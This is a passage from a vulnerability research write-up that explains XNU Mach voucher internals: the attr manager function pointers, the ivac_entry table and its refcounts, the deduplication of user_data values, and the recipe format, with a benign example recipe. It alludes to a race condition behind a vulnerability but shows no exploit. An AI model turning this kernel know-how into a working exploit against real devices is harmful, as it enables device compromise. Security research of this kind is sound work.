<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">ivam_get_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> user_data_get_value</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">ivam_extract_content </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> user_data_extract_content</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">ivam_command </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> user_data_command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">ivam_release </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> user_data_release</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">ivam_flags </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> IVAM_FLAGS_NONE</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Those five function pointers are the only interface from the generic voucher code into the type-specific code. The interface may seem simple but there are some tricky subtleties in there; we'll get to that later!</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's go back to the generic </span><span class="BGLtzooHlW-c11">ipc_voucher_attr_control</span><span> structure which maintains the "values" for each key in a type-agnostic way. The most important field is </span><span class="BGLtzooHlW-c11">ivac_entry_t ivac_table</span><span>, which is </span><span>an array of </span><span class="BGLtzooHlW-c11">ivac_entry_s</span><span>'s</span><span>. It's an index into this table which is stored in each voucher's </span><span class="BGLtzooHlW-c11">iv_table</span><span class="BGLtzooHlW-c10">.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Here's the structure of each entry in that table:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.777c9f9c4271dfb1023047f7a3639b98f2fed9d2"></a><a id="t.8"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> ivac_entry_s </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_value_handle_t ivace_value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_value_refs_t ivace_layered</span><span class="BGLtzooHlW-c2">:</span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* layered effective entry */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_releasing</span><span class="BGLtzooHlW-c2">:</span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* release in progress */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_free</span><span class="BGLtzooHlW-c2">:</span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* on freelist */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_persist</span><span class="BGLtzooHlW-c2">:</span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* Persist the entry, don't</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> count made refs */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace_refs</span><span class="BGLtzooHlW-c2">:</span><span class="BGLtzooHlW-c15">28</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* reference count */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">union</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_value_refs_t ivaceu_made</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* made count (non-layered) */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t ivaceu_layer</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* next effective layer</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> (layered) */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span><span class="BGLtzooHlW-c4"> ivace_u</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t ivace_next</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* hash or freelist */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t ivace_index</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* hash head (independent) */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">ivace_refs</span><span> is a reference count for this table index. Note that this entry is </span><span class="BGLtzooHlW-c17">inline</span><span> in an array;</span><span> so this reference count going to zero doesn't cause the </span><span class="BGLtzooHlW-c11">ivac_entry_s</span><span class="BGLtzooHlW-c10"> to be free'd back to a kernel allocator (like the zone allocator for example.) Instead, it moves this table index onto a freelist of empty entries. The table can grow but never shrink.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Table entries which aren't free store a type-specific "handle" in </span><span class="BGLtzooHlW-c11">ivace_value</span><span class="BGLtzooHlW-c10">. Here's the typedef chain for that type:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.9c51000ec2d891dfe4854f95d2bbcf210598beb6"></a><a id="t.9"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3">iv_value_handle_t ivace_value</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">typedef</span><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_t iv_value_handle_t</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">typedef</span><span class="BGLtzooHlW-c4"> uint64_t mach_voucher_attr_value_handle_t</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The handle is a </span><span class="BGLtzooHlW-c11">uint64_t</span><span class="BGLtzooHlW-c10"> but in reality the attrs can (and do) store pointers there, hidden behind casts.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>A guarantee made by the </span><span class="BGLtzooHlW-c11">attr_control</span><span> is that there will only ever be one (live) </span><span class="BGLtzooHlW-c11">ivac_entr</span><span class="BGLtzooHlW-c11">y_s</span><span> for a particular </span><span class="BGLtzooHlW-c11">ivace_value</span><span>. This means that each time a new </span><span class="BGLtzooHlW-c11">ivace_value</span><span> needs an </span><span class="BGLtzooHlW-c11">ivac_entry</span><span> the </span><span class="BGLtzooHlW-c11">attr_control</span><span>'s </span><span class="BGLtzooHlW-c11">ivac_table</span><span> needs to be searched to see if a matching value is already present. To speed this up in-use </span><span class="BGLtzooHlW-c11">ivac_entries</span><span class="BGLtzooHlW-c10"> are linked together in hash buckets so that a (hopefully significantly) shorter linked-list of entries can be searched rather than a linear scan of the whole table. (Note that it's not a linked-list of pointers; each link in the chain is an index into the table.)</span></p><h2 class="BGLtzooHlW-c5 BGLtzooHlW-c18" id="h.lsgi9jwnyyz4"><span class="BGLtzooHlW-c20">Userdata attrs</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">user_data</span><span> is one of the four types of supported, implemented voucher attr types. It's only purpose is to manage buffers of arbitrary, user controlled data. Since the </span><span class="BGLtzooHlW-c11">attr_control</span><span> performs deduping only on the </span><span class="BGLtzooHlW-c11">ivace_value</span><span class="BGLtzooHlW-c10"> (which is a pointer) the userdata attr manager is responsible for ensuring that userdata values which have identical buffer values (matching length and bytes) have identical pointers.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>To do this it maintains a hash table of </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span class="BGLtzooHlW-c10"> structures, which wrap a variable-sized buffer of bytes:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.300b9d1f1ee1dcff9a3ee0de164a2bc6bc43ea65"></a><a id="t.10"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> user_data_value_element </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_reference_t e_made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_size_t e_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t e_sum</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t e_hash</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> queue_chain_t e_hash_link</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint8_t e_data</span><span class="BGLtzooHlW-c2">[];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Each inline </span><span class="BGLtzooHlW-c11">e_data</span><span> buffer can be up to 16KB. </span><span class="BGLtzooHlW-c11">e_hash_link</span><span class="BGLtzooHlW-c10"> stores the hash-table bucket list pointer.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">e_made</span><span> is not a simple reference count. Looking through the code you'll notice that there are no places where it's ever decremented. Since there should (nearly) always be a 1:1 mapping between an </span><span class="BGLtzooHlW-c11">ivace_entry</span><span> and a </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> this structure shouldn't need to be reference counted. There is however one very fiddly race condition (which </span><span class="BGLtzooHlW-c17">isn't</span><span> the race condition which causes the vulnerability!) which necessitates the </span><span class="BGLtzooHlW-c11">e_made</span><span class="BGLtzooHlW-c10"> field. This race condition is sort-of documented and we'll get there eventually...</span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.o5bp0ln346i3"><span class="BGLtzooHlW-c20">Recipes</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The </span><span class="BGLtzooHlW-c11">host_create_mach_voucher</span><span> host port </span><span>MIG</span><span> (</span><span class="BGLtzooHlW-c21"><a class="BGLtzooHlW-c251" href="https://www.nextop.de/NeXTstep_3.3_Developer_Documentation/OperatingSystem/Part1_Mach/02_Messages/Messages.htmld/index.html">Mach Interface Generator</a></span><span class="BGLtzooHlW-c10">) method is the userspace interface for creating vouchers:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.3b86534681bae3851c58fa2f335e430bc6b5a4cb"></a><a id="t.11"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3">kern_return_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">host_create_mach_voucher</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_port_name_t host</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_raw_recipe_array_t recipes</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_size_t recipesCnt</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_port_name_t </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">recipes</span><span> points to a buffer filled with a sequence of packed variable-size </span><span class="BGLtzooHlW-c11">mach_voucher_attr_recipe_data</span><span class="BGLtzooHlW-c10"> structures:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.fb086444030469a009e799e34240bece6d1dd33b"></a><a id="t.12"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">typedef</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_data </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_key_t key</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_command_t command</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_name_t previous_voucher</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_size_t content_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint8_t content</span><span class="BGLtzooHlW-c2">[];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">key</span><span> is one of the four supported voucher attr types we've seen before (importance, bank, pthread_priority and user_data) or a wildcard value (</span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_KEY_ALL</span><span>) indicating that the command should apply to all keys. There are a number of generic commands as well as type-specific commands. Commands can optionally refer to existing vouchers via the </span><span class="BGLtzooHlW-c11">previous_voucher</span><span class="BGLtzooHlW-c10"> field, which should name a voucher port.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Here are the supported generic commands for voucher creation:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_COPY</span><span class="BGLtzooHlW-c10">: copy the attr value from the previous voucher. You can specify the wildcard key to copy all the attr values from the previous voucher.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REMOVE</span><span class="BGLtzooHlW-c10">: remove the specified attr value from the voucher under construction. This can also remove all the attributes from the voucher under construction (which, arguably, makes no sense.)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_SET_VALUE_HANDLE:</span><span> this command is only valid for kernel clients; it allows the caller to specify an arbitrary </span><span class="BGLtzooHlW-c11">ivace_value</span><span class="BGLtzooHlW-c10">, which doesn't make sense for userspace and shouldn't be reachable.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span>: the semantics of </span><span class="BGLtzooHlW-c14">redeeming</span><span class="BGLtzooHlW-c10"> an attribute from a previous voucher are not defined by the voucher code; it's up to the individual managers to determine what that might mean.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Here are the attr-specific commands for voucher creation for each type:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">bank</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11 BGLtzooHlW-c19">MACH_VOUCHER_ATTR_BANK_CREATE</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">MACH_VOUCHER_ATTR_BANK_MODIFY_PERSONA</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">MACH_VOUCHER_ATTR_AUTO_REDEEM</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">MACH_VOUCHER_ATTR_SEND_PREPROCESS</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">importance</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">MACH_VOUCHER_ATTR_IMPORTANCE_SELF</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">user_data</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">MACH_VOUCHER_ATTR_USER_DATA_STORE</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">pthread_priority</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">MACH_VOUCHER_ATTR_PTHPRIORITY_CREATE</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Note that there are further commands which can be "executed against" vouchers via the </span><span class="BGLtzooHlW-c11">mach_voucher_attr_command</span><span> MIG method which calls the attr manager's </span><span class="BGLtzooHlW-c11">ivam_command</span><span class="BGLtzooHlW-c10"> function pointer. Those are:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">bank</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">BANK_ORIGINATOR_PID</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">BANK_PERSONA_TOKEN</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">BANK_PERSONA_ID</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">importance</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">MACH_VOUCHER_IMPORTANCE_ATTR_DROP_EXTERNAL</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">user_data</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">none</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">pthread_priority</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">none</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's look at example recipe for creating a voucher with a single </span><span class="BGLtzooHlW-c11">user_data</span><span class="BGLtzooHlW-c10"> attr, consisting of the 4 bytes {0x41, 0x41, 0x41, 0x41}:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.a9632b719aa64a5ca7f22f3e9944b5fd0708e9e6"></a><a id="t.13"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> udata_dword_recipe </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_data_t recipe</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint32_t payload</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> udata_dword_recipe r </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">};</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">key </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_USER_DATA</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">command </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">content_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">uint32_t</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">r</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">payload </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0x41414141</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Let's follow the path of this recipe in detail.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Here's the most important part of </span><span class="BGLtzooHlW-c11">host_create_mach_voucher</span><span class="BGLtzooHlW-c10"> showing the three high-level phases: voucher allocation, attribute creation and voucher de-duping. It's not the responsibility of this code to find or allocate a mach port for the voucher; that's done by the MIG layer code.</span></p>
